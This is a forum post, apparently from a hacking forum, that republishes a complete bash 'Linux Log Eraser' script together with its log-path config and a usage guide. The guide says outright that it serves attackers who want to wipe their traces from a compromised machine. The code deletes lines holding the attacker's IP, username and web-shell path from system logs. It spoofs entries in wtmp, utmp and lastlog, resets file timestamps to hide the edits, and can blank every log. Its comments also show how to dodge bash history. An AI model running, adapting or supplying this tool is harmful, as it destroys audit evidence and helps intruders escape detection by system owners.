Linux Log Wiper

Fi8sVrs · January 26, 2014

LINUX LOG ERASER by b0nd

#! /bin/bash

# June 2011

clear

# A separate file to contain the absolute path for log files. Do edit that per your requirement

source log_files.sh

# Scroll to the end of code to see the progrom flow

# The following arrays would only store the names of the log files found on system

# Not making them read-only as they have to be edited later to add in the existing log file names

found_ascii_log_files=()

found_binary_log_files=()

rtr="" # A global variable needed to get array back as a return value from "check_time_stamping" function

flag=0 # A global variable to determine whether the back door path has to be deleted or not

spoof_user="root" # All the entries for the "user_name" spoofing would be replaced by string "root" in non-ASCII log files

# Default banner of the script

default_banner ()

{

cat << EOF

############################################################################

Linux Machine Log-Eraser Script

Ver 0.3 - Third Release

Greetz to:

GGGGGG\

GG __GG\

GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\

GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\

GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee |

GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____|

\______/ \_______|\__| \_______| \____gg | \_______|

gg\ gg |

gggggg |

\______/

Usage: $0 [options]

-h help

############################################################################

EOF

call_exit

}

# Help banner of the script. It depicts the usage of various options

help_banner ()

{

cat << EOF

GGGGGG\

GG __GG\

GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\

GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\

GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee |

GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____|

\______/ \_______|\__| \_______| \____gg | \_______|

gg\ gg |

\gggggg |

\______/

Usage

=====

$0 options

OPTIONS:

-h help Show this message

-i [ip_address] Search for a particular ip_address in all log files and search for top 30 IP's logged in log files

-d [ip_address] Delete the ip_address from log files

-s [spoof_ip_address] Spoof the IP following -d with the one following -s wherever deletion is not possible

-u [user_name] The user name whose logs are to be erased/spoofed

-w [web_shell_path] The web back door (e.g. c99) shell absolute path you wish to erase from logs

-f fuck logs files To erase all log files completely, not recommended though

-e "file extensions" To find other backdoors planted on system

-r [web_root_directory] The web root directory to start searching backdoors from

Ex: $0 -h

* To show this help message

Ex: $0 -i 192.168.1.7

* To search 192.168.1.7 in all logs files. Basically finding which logs files have trace of it, and

* In addition to that, search all log files (/var/log/*) and show Top 30 most logged IP's in log files.

* They could be good choices for spoofing

Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker"

* To delete lines containing 192.168.1.7 and|or user_name "cracker" from ASCII files, and

* To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker" -w "/var/www/xyz.com/uploads/c99.php"

* To delete lines containing 192.168.1.7 and|or user_name "cracker" and|or web_shell_path from ASCII files, and

* To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

Ex: $0 -f

* To erase all log files listed in log_files.sh completely (not recommended)

Ex: $0 -e "php txt asp" -r /var/www

* To search for probable web backdoors planted on system. Once found, it is recommended to verify the result

* The current example searches for files having extensions php or txt or asp in /var/www and subdirectories

* Extensions and web_root_directory are customizable

[!] Stick to the above OPTION combinations only, else the script might not work properly

Author

======

b0nd, b0nd.g4h@gmail.com and www.garage4hackers.com

EOF

call_exit

}

# Checking and storing the log files found on system

existing_log_files ()

{

for i in ${ascii_log_files[@]} # Accessing all the array entries declared at the top (log_files.sh)

do

if [ -f $i ]; then

found_ascii_log_files[ $j ]=$i # fetching the found log files to our empty array

j=$[$j + 1]

fi

done

for i in ${binary_log_files[@]} # Accessing all the array entries declared at the top (log_files.sh)

do

if [ -f $i ]; then

found_binary_log_files[ $j ]=$i # fetching the found log files to our empty array

j=$[$j + 1]

fi

done

}

# Basic Information which might help user customizing script for the first time

search_log_files ()

{

echo -e "\n>>>>>>>>>>>>> Basic Information <<<<<<<<<<<< \n"

echo -e "[*] Linux Kernel: `uname -a`"

echo -e "\n[*] The various log files found on system (per our script log_files.sh database):"

j=0

# following is the call to function to determine the log files found on system

existing_log_files

echo -e -n "\n\t[*] ASCII Log Files\n"

for i in ${found_ascii_log_files[@]}

do

echo -e "\t\t$i"

done

echo -e -n "\n\t[*] Binary Log Files\n"

for i in ${found_binary_log_files[@]}

do

echo -e "\t\t$i"

done

# The following code is to find all the log files containing the IP fetched to parameter -i

# e.g. this should be the IP which attacker is willing to find and erase/spoof in log files

verify_ip $search_ip # The value for search_ip is obtained from command line arguments (parameter -i)

echo -e "\n[*] Searching for IP $search_ip in all non-zip log files (/var/log/*)"

# The following won't check the zipped files.

# It's affecting the atime value, and nothing has been coded to restamp the atime against this grep command

if [[ "`grep -rlw $search_ip /var/log*`" == "" ]]

then

echo -e "\n\t[*] Cool! The IP $search_ip does not have trace in any log file"

else

echo -e "\n\t[*] The IP $search_ip has appeared in following log files:"

grep -rlw $search_ip /var/log/* | awk ' { print " " $1 } '

fi

# The following would check for gz files in /var/log directory. Hard binded for .gz extension. Make it generic if needed

have_zgrep=`which zgrep`

# It's affecting the atime value, and nothing has been coded to restamp the atime against this zgrep command

if [[ "$have_zgrep" == "" ]]

then

echo -e "\n[*] zgrep could not be found on system"

echo -e "\n\t[*] Skipping searching zip files for IP matching. Take care yourself :)"

else

echo -e "\n[*] zgrep found on system, so checking zip files as well."

if [[ "`zgrep -lw $search_ip /var/log/*.gz`" == "" ]]

then

echo -e "\n\t[*] Cool! The IP $search_ip does not have trace in any zip log file (/var/log/*)"

else

echo -e "\n\t[*] The IP $search_ip has appeared in following zip log files in /var/log directory:"

echo -e "\n\t[*] The script in current form does not edit zip files. Take care of your (|) yourself"

zgrep -lw $search_ip /var/log/*.gz | awk ' { print " " $1 } '

fi

echo -e "\n\t[!] It is recommended to include the above found log files, if not already in the list, in the script (log_files.sh)"

echo -e "\t[!] Edit the file log_files.sh per your requirements"

# Finding the IP's listed in all log files. The most common IP's could be a good choice for spoofing your original IP

# Display Top 20 IP's to make choice from

echo -e "\n[*] Displaying top 20 IP addresses found in log files"

echo -e "\n\t[*] It is recommended to choose any suitable one among them to spoof your IP"

touch tmp-counter.txt

local ip_counter=0

echo -e -n "\n\tPlease wait "

# It's affecting the atime value, and nothing has been coded to restamp the atime against this grep command

# The following grep command would find all the IP look alikes present in all the log files in /var/log/*.

# The sort will finally give the uniqe ones

for i in $(grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/* | grep -i ":" | cut -d ":" -f2 | sort -u)

do

# The following grep command is same as above but missing the trailing sort -u, hence all the multiple occurence would be listed.

# This would help in finding out the occurence of each IP in log files i.e., take one IP from the uniqe list and compare it with

# all the IP's in unsorted list, whenever there is a match, that would indicate re-occurence and hence the ip_counter would increase by 1

for j in $(grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/* | grep -i ":" | cut -d ":" -f2)

do

if [[ $i == $j ]]

then

ip_counter=$[$ip_counter + 1]

fi

done

echo -e -n "."

echo "$ip_counter number of times $i has occured in log files" >> tmp-counter.txt

ip_counter=0

done

echo -e "\n\n\t[*] TOP 20 IP (look alikes) found in log files:\n"

cat tmp-counter.txt | sort -g -r | head -n 20 | awk ' { print " " $1 " times -----> " $5 } '

rm tmp-counter.txt

call_exit

}

call_exit ()

{

echo -e "\n[*] Exiting.....\n"

#cat << EOF

echo -e "\n\t\tWould you mind removing script execution traces from history?"

echo -e "\t\t============================================================="

echo -e " ==> http://www.garage4hackers.com/showthread.php?1032-Linux-HISTORY-How-to-avoid-getting-logged\n"

# 1. Do not get logged; use the space technique.

# # echo \$HISTCONTROL

# if the output in not "ignorespace" (without quotes); do

# # export HISTCONTROL=ignorespace

# Now just give a space in front of any command and it would not be logged in history

# 2. Another way of not getting logged:

# # history -d \$((HISTCMD-1)) && type_your_command_here_and_execute

# e.g # history -d \$((HISTCMD-1)) && whoami

# 3. If the script has already been executed without taking precautions, either of the following can be done

# to remove the traces:

# a) # history -d \$((HISTCMD-2)) && history -d \$((HISTCMD-1))

# The above command would remove the last entry from history.

# Executing it couple of times would delete couple of entries

# # history

# Note down the command number and then execute:

# # history -d offset

# It would delete the respective entry from history

# c) To delete a group of consecutive commands

# Let us assume there are 50 commands in history and you wish to delete commands from 30 to 50

# # for i in {51..30}; do history -d "\$i"; done;

#EOF

exit

}

fuck_log_files ()

{

# following is the call to function to determine the log files found on system

existing_log_files

echo "FTW! Erasing all log files"

for i in ${found_ascii_log_files[@]}

do

echo -e "\t[*] Erasing $i..."

> $i

done

for i in ${found_binary_log_files[@]}

do

echo -e "\t[*] Erasing $i..."

> $i

done

echo "Done!"

call_exit

}

verify_ip ()

{

# First check is to verify that the chars entered as IP are integers

# Second check has been made to confirm that only 3 dots are there in IP address

# Third check is to mark the valid IP range. The octect value can not be < 0 or > 255

str="$1" # $1 is the first function parameter i.e. IP address here

cnt=${#str} # Counting the length of string fetched i.e total chars in IP address, including dots

dot_counter=0

for ((i=0; i < cnt; i++))

do

char=${str:$i:1} # Reading one character at a time from the input string. Taken from http://www.unix.com/unix-dummies-questions-answers/80215-access-each-character-string.html

#code=`printf %s "$char" | od -An -vtu1 | sed 's/^[^1-9]*//'` # copied from http://unix.derkeiler.com/Newsgroups/comp.unix.shell/2004-08/0195.html

code=`printf '%d' "'$char"` # Echo the ASCII value of character

# The first check

if [ $code -lt 48 ] || [ $code -gt 57 ] # Comparing the ASCII value range of Intergers ( 48 - 57 )

then

if [ $code -ne 46 ] # To check the "." value

then

echo -e "\n[*] Err!!! Not a valid IP (some non-integer characters), try again.....\n"

call_exit

else

dot_counter=$[$dot_counter + 1]

fi

done

# The second check

if [ $dot_counter -ne 3 ]

then

echo -e "\n[*] Err!!! Not a valid IP (check the number of dots in IP Address), try again.....\n"

call_exit

fi

# The third check

# Extract the octets

octet_a=`echo $1 | cut -d "." -f1`

octet_b=`echo $1 | cut -d "." -f2`

octet_c=`echo $1 | cut -d "." -f3`

octet_d=`echo $1 | cut -d "." -f4`

if [ $ $octet_a -lt 0 -o $octet_a -gt 255 $ -o $ $octet_b -lt 0 -o $octet_b -gt 255 $ -o $ $octet_c -lt 0 -o $octet_c -gt 255 $ -o $ $octet_d -lt 0 -o $octet_d -gt 255 $ ]

then

echo -e "\n[*] Err!!! Not a valid IP (octet value >=0 and <=255), try again.....\n"

call_exit

fi

}

# A function to verify whether the user name fetched to script exists or not

# The script will not delete any log line based on user-name "root", else most of the logs would get delete

verify_user_name ()

{

local user_name="$1" # $1 is the first function parameter i.e. user-name here

if [ $user_name != "root" ]

then

if [[ `cat /etc/passwd | cut -d ":" -f1 | grep $user_name` != $user_name ]]

then

echo -e "\t[*] User name does not exist"

echo -e "\t[*] Instead of exiting, script will proceed considering you wish to delete logs of some old account which does not exist anymore"

else

echo -e "\t[*] user_name ($user_name) verified!"

fi

else

echo -e "\t[*] User name is 'root'. Script will still take care not to delete lines based on this user name"

echo -e "\t[*] user_name ($user_name) verified!"

fi

}

# A function to obtain the original time stamping of the log file before editing the file

check_time_stamping ()

{

echo -e "======================================================================"

filename=$1

echo -e "\n[*] Log File Under RADAR: $filename"

local atime=`stat -c "%x~%y~%z" ${filename} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

local mtime=`stat -c "%x~%y~%z" ${filename} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

local array=()

array=($atime $mtime)

rtr=(${array[@]}) # rtr is a global variable

}

# The function to edit the log files and restore the Time (time stamping)

edit_ascii_file_and_timestamping ()

{

for log_file in ${found_ascii_log_files[@]} # It's a global array and declared at the top of code

do

# Calling check_time_stamping function to get the original time stamps before touching the files

echo "inside for loop"

check_time_stamping $log_file

out=(${rtr[@]})

atime=${out[0]}

mtime=${out[1]}

echo -e "\n[*] Time Stamping before editing the log file"

echo -e "\tatime: $atime"

echo -e "\tmtime: $mtime"

# Edit only that file which has the desired string/IP in it. Don't touch others unnecessary.

# The following if and grep stuff does the same. If found IP in file then edit else don't. Err! haven't followed strictly

# -w is needed else if you intend to delete 192.168.1.1, it would delete all 192.168.1.1* as well

if grep -qsw "$1" "$log_file" # $1 is the parameter passed to this function, IP in this case

then

echo -e "\n[*] The IP $1 found in $log_file ... so proceeding editing it"

echo "Sleeping for 5 sec"

echo -e "\n[*] Editing log file --> $log_file"

sleep 5

sed "/$1/d" $log_file > $log_file.new

mv $log_file.new $log_file

fi

if [ $2 != 'root' ] # $2 is the 2nd parameter passed to this function, User name in this case

then

if grep -qsw "$2" "$log_file" # If user name fetched to script found in log file and that is not 'root'

then

echo -e "\n\n[*] The username $2 found in $log_file ... so proceeding editing it"

echo "Sleeping for 5 sec"

echo -e "\n[*] Editing log file --> $log_file"

sleep 5

sed "/$2/d" $log_file > $log_file.new

mv $log_file.new $log_file

fi

if [ $flag -eq 1 ] # flag=1 states that a web shell path too has to be removed from log files

then

echo -e "\nflag = 1, Deleting Backdoor Shell PATH: $3"

sed -e "s@$3@@g" $log_file > $log_file.new

mv $log_file.new $log_file

fi

# The following time stamping is necessary irrespective of whether the IP was found in file or not.

# Because at least the file has been accessed while grep(ing) to search the content

# So the atime has to be restored

# Restoring mtime as well though with more code it can be skipped if value is not found in log file

aatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

amtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

# actime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f3 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\n[*] Time Stamping after editing the log file"

echo -e "\tatime: $aatime"

echo -e "\tmtime: $amtime"

# echo "ctime: $actime"

echo -e "\n[*] Restoring the time stamp........."

touch -at $atime $log_file

touch -mt $mtime $log_file

#touch -ct $ctime $log_file

aaatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

aamtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

# aactime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f3 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\n[*] Time Stamping after restoring the time stamp"

echo -e "\tatime: $aaatime"

echo -e "\tmtime: $aamtime"

# echo "ctime: $aactime"

echo -e "\n======================================================================\n\n"

done

}

edit_binary_file_and_timestamping ()

{

for log_file in ${found_binary_log_files[@]} # It's a global array and declared at the top of code

do

# Calling check_time_stamping function to get the original time stamps before touching the files

check_time_stamping $log_file

out=(${rtr[@]})

atime=${out[0]}

mtime=${out[1]}

# ctime=${out[2]}

echo -e "\n[*] Time Stamping before editing the log file"

echo -e "\tatime: $atime"

echo -e "\tmtime: $mtime"

echo -e "\nSpoofing IP $1 in binary log file with IP $2"

echo "Sleeping for 5 sec"

sleep 5

sed "s/$1/$2/g" $log_file > $log_file.new

mv $log_file.new $log_file

if [ $3 != 'root' ]

then

echo -e "\nSpoofing user name..."

echo "Sleeping for 5 sec"

sleep 5

sed "s/$3/$spoof_user/g" $log_file > $log_file.new # Edit the global variable spoof_user at the top

mv $log_file.new $log_file

fi

# The following time stamping is necessary irrespective of whether the IP was found in file or not.

# Because at least the file has been accessed while grep(ing) to search the content

# So the atime has to be restored

# Restoring mtime as well though with more code it can be skipped if value is not found in log file

aatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

amtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\n\nTime Stamping after editing the log file"

echo "atime: $aatime"

echo "mtime: $amtime"

echo -e "\nRestoring the time stamp........."

touch -at $atime $log_file

touch -mt $mtime $log_file

aaatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

aamtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\nTime Stamping after restoring the time stamp"

echo "atime: $aaatime"

echo "mtime: $aamtime"

echo -e "\n======================================================================\n\n"

done

}

verify_IPs_and_user_name ()

{

echo "[*] Verifying ip_address $ip_to_be_deleted ..."

verify_ip $ip_to_be_deleted # Passing the fetched IP as argument to verify_ip function

echo -e "\t[*] ip_address ($ip_to_be_deleted) verified!\n"

echo -e "\n[*] Verifying spoof_ip_address $spoof_ip ..."

verify_ip $spoof_ip # Passing the fetched IP as argument to verify_ip function

echo -e "\t[*] spoof_ip_address ($spoof_ip) verified!\n"

echo -e "\n[*] Verifying user_name: '$user_name' ..."

verify_user_name $user_name

}

search_web_backdoor_shells ()

{

for extension in ${extension_type[@]} # Now the array already holds the various backdoor extensions fetched

do

echo -e "\n\t[*] Checking for Extension: $extension"

sleep 1

# The following would find and display + outputs the result to a text file

grep -RPl --include=*.$extension "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" $web_root_directory | tee -a output.txt | awk ' { print " " $1 } '

done

echo -e "\n\t[!] Done! The out put has been stored in output.txt in append mode. Do not forget to delete it.\n"

call_exit

}

lets_begin_the_show ()

{

# Check: If "-e" and "-r", then just find the back door shells and exit

if [[ -n $web_root_directory ]]

then

search_web_backdoor_shells

# Check: If non "-e"|"-r" then proceed with deleting logs etc.

elif [[ -n $ip_to_be_deleted ]]

then

verify_IPs_and_user_name

if [[ -z $web_shell_path ]]

then # Call the function with 2 values; no web shell path has been fetched. No spoofing, just delete the lines.

edit_ascii_file_and_timestamping $ip_to_be_deleted $user_name

else # Call the function with 3 values; delete web shell path as well. No spoofing, just delete the lines.

flag=1

edit_ascii_file_and_timestamping $ip_to_be_deleted $user_name $web_shell_path

fi

# Call the function to spoof the original IP and user name. No deletion, just spoofing (they being binary files).

edit_binary_file_and_timestamping $ip_to_be_deleted $spoof_ip $user_name

else

echo -e "\nSome issue which I could not catch"

call_exit

fi

}

verify_combination_of_command_line_arguments ()

{

# Check 1: None of the argument has been passed

if [[ -z $ip_to_be_deleted ]] && [[ -z $spoof_ip ]] && [[ -z $user_name ]] && [[ -z $extension_type ]] && [[ -z $web_root_directory ]]

then

echo -e "\n[*] Error! None of the required argument has been passed"

default_banner

call_exit

fi

# Check 2: Nothing should be passed in combination with "-e" and "-r"

if ( [[ -n $extension_type ]] || [[ -n $web_root_directory ]] ) && ( [[ -n $web_shell_path ]] || [[ -n $ip_to_be_deleted ]] || [[ -n $spoof_ip ]] || [[ -n $user_name ]] || [[ -n $web_shell_path ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Do not mix -e and -r with any other flag!"

default_banner

call_exit

fi

# Check 3: "-e" and "-r" shall be together

if ( [[ -n $extension_type ]] && [[ -z $web_root_directory ]] ) || ( [[ -z $extension_type ]] && [[ -n $web_root_directory ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[*] -e and -r must be specified together and must be non-empty!"

default_banner

call_exit

fi

# Check 4: If one of the following, the first one, is stated then rest must be

if [[ -n $ip_to_be_deleted ]] && ( [[ -z $spoof_ip ]] || [[ -z $user_name ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -s and -u when -d specified!"

default_banner

call_exit

fi

# Check 5: If one of the following, the first one, is stated then rest must be

if [[ -n $spoof_ip ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $user_name ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -d and -u when -s specified!"

default_banner

call_exit

fi

# Check 6: If one of the following, the first one, is stated then rest must be

if [[ -n $user_name ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $spoof_ip ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -d and -s when -u specified!"

default_banner

call_exit

fi

# Check 7: If first one is stated, then rest must be

if [[ -n $web_shell_path ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $spoof_ip ]] || [[ -z $user_name ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -d, -s and -u when -w specified!"

default_banner

call_exit

fi

}

# ---------------------------------------- The program execution starts from here -------------------------------

#### Checking UID and EUID value ####

#### Only allow root to execute this script as non-root might not have write access to log files

if [ "$UID" != "0" ]

then

if [ "$EUID" != "0" ]

then

echo -e "\n[*] Cannot run script: Permission denied." "Please be root to use this script".

call_exit

fi

#### Show default_banner if no argument has been passed

if [ $# -eq 0 ]

then

default_banner

fi

# Following variables are for the command line arguments

search_ip=

ip_to_be_deleted=

spoof_ip=

user_name=

web_shell_path=

extension= # This one to handle the multiple extensions give to grep from command prompt

web_root_directory=

extension_type=() # This array will hold the multiple extensions

j=0

while getopts ":hi:fd:s:u:w:e:r:" option

do

case $option in

h)

help_banner

;;

i)

search_ip=$OPTARG

search_log_files

;;

f)

fuck_log_files

;;

d)

ip_to_be_deleted=$OPTARG # All the verifications would be done later once combination of command line arguments have been verified

;;

s)

spoof_ip=$OPTARG # Same as above

;;

u)

user_name=$OPTARG # Same as above

;;

w)

web_shell_path=$OPTARG

echo "WEB-SHELL-PATH: $web_shell_path" # No verification could be done for it

;;

e)

for extension in $OPTARG

do

extension_type[ $j ]=$extension # Holding multiple extensions passed at command line

j=$[$j + 1]

done

;;

r)

web_root_directory=$OPTARG

echo -e "\t[*] Web-Root Directory: $web_root_directory"

;;

?)

echo -e "\n[*] Wrong argument passed"

default_banner

;;

esac

done

# Call to following function to verify the combination of command line arguments passed to script

verify_combination_of_command_line_arguments

# Following function call is necessary in order to find the available log files on system

existing_log_files

# Following function call would be made only after all the mandatory arguments have been passed to the script

lets_begin_the_show

Log File:

#######################
# Declaration of two arrays containing the absolute path of log files. Add in more path per your requirements
# Since declared outside any function, they are global
# declare -r makes our array read-only and could not be altered anywhere in the code following the declaration
#######################

# Those logs files which keep entries for IP address, web path accessed etc. Basically the ASCII log files.
declare -r ascii_log_files=(
			#'/var/log/syslog'
			#'/var/log/messages'
			#'/var/log/httpd/access_log'
			#'/var/log/httpd/error_log'
			#'/var/log/xferlog'
			#'/var/log/secure'
			#'/var/log/auth.log'
			#'/var/log/user.log'

			# Check syslog.conf for more log files
			# Enter more log files here
			)

# Those logs files which keep user activity logs. Basically the non-ASCII log files.
declare -r binary_log_files=(
			#'/var/log/wtmp'
			#'/var/log/lastlog'
			#'/var/log/btmp'
			#'/var/run/utmp'
			# Enter more log files here
			)

Usage:

Linux Log Eraser
================

Linux Log Eraser is a bash script which erases almost all your logs from the log files on a Linux machine.
This can be useful for an attacker to wipe out the traces before logging out of the compromised Linux machine.


Usage
=====
$0 options

OPTIONS:
	-h help				Show this message
	-i [ip_address]			Search for a particular ip_address in all log files and search for top 30 IP's logged in log files
	-d [ip_address]			Delete the ip_address from log files
	-s [spoof_ip_address]		Spoof the IP following -d with the one following -s wherever deletion is not possible
	-u [user_name]			The user name whose logs are to be erased/spoofed
	-w [web_shell_path]		The web back door (e.g. c99) shell absolute path you wish to erase from logs
	-f fuck logs files		To erase all log files completely, not recommended though
	-e "file extensions"		To find other backdoors planted on system
	-r [web_root_directory]		The web root directory to start searching backdoors from

	Ex: $0 -h
	    * To show this help message

	Ex: $0 -i 192.168.1.7
	    * To search 192.168.1.7 in all logs files. Basically finding which logs files have trace of it, and
	    * In addition to that, search all log files (/var/log/*) and show Top 20 most logged IP's in log files.
	    * They could be good choices for spoofing

	Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker"
	    * To delete lines containing 192.168.1.7 and|or user_name "cracker" from ASCII files, and
	    * To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

	Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker" -w "/var/www/xyz.com/uploads/c99.php"
	    * To delete lines containing 192.168.1.7 and|or user_name "cracker" and|or web_shell_path from ASCII files, and
	    * To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

	Ex: $0 -f
	    * To erase all log files listed in log_files.sh completely (not recommended)

	Ex: $0 -e "php txt asp" -r /var/www
	    * To search for probable web backdoors planted on system. Once found, it is recommended to verify the result
	    * The current example searches for files having extensions php or txt or asp in /var/www and subdirectories
	    * Extensions and web_root_directory are customizable

   [!]	Stick to the above OPTION combinations only, else the script might not work properly

Author
======
b0nd, b0nd.g4h@gmail.com and www.garage4hackers.com



Customizing the script while executing for the first time on target:
====================================================================

	1. Upload both, the linux_log_eraser.sh and log_files.sh on target server
	2. Fire the linux_log_eraser script. Take care that you must be root (either UID=0 or EUID=0) to execute the script
	3. Use parameter -i, and pass the IP address you are worried about in log files:
	  ./linux_log_eraser -i 192.168.1.1
	4. The above command will scan all the log files for that particular IP and will let you know all the log files having trace of that IP
	5. Open up log_files.sh file. Cross check which log file, reported in step 4, is not in the list. Do add the log file/files
	6. Running the step 3 command would also let you know the top 20 IP's in the log files having most occurrences
	7. Choose any suitable IP from the top 20 IP's as a spoof IP.....and you are ready to  proceed with other options of script



Logic:
======

Some log files are Ascii types, hence can be read and edited easily. Rest log files are binary types and are hard to read and edit directly.

For ascii files, all the lines in various log files containing either of the following would be deleted:
	1. The IP following -d parameter
	2. User name following -u parameter (if it is other than root). Since the user 'root' has many entries, so to remain stealty it's
	   better not to delete such lines.
	3. Web shell path of your backdoor following -w parameter.

For binary files, all the entries for your IP and user name (if it is other than root) would be spoofed (not deleted)
IP would be spoofed to the Spoof IP provided and user name would be spoofed to "root"

Pass the following to script:
	1. The IP which you wish to delete/spoof in log files
	2. The spoof IP. This would be the IP to replace the IP in binary log files
	3. The user name you wish to delete/spoof in log files
	4. Absolute web shell path to erase it's entries from log files (e.g. the web back doors)

For spoofing in binary files, better analyze the files manually first and choose a good IP and user name

You can do the following for binary file analysis:
For wtmp:
	#last				(shows: username, terminal, IP)
	#strings /var/log/wtmp		(shows: username, terminal, IP)

For utmp:
	#who				(shows: username, terminal, IP)
	#strings /var/run/utmp		(shows: username, terminal, IP)

For lastlog:
	#lastlog			(shows: username, terminal, IP)
	#strings /var/log/lastlog	(shows: terminal, IP)

For btmp (if exists):
	#lastb				(shows: username)
	#strings /var/log/btmp		(shows: username)

Correct me if the logic is wrong at any place except for "/var/log/lastlog"

Sign In

Linux Log Wiper

Recommended Posts

Fi8sVrs

Link to comment

Share on other sites

Join the conversation

Browse

Activity

Pages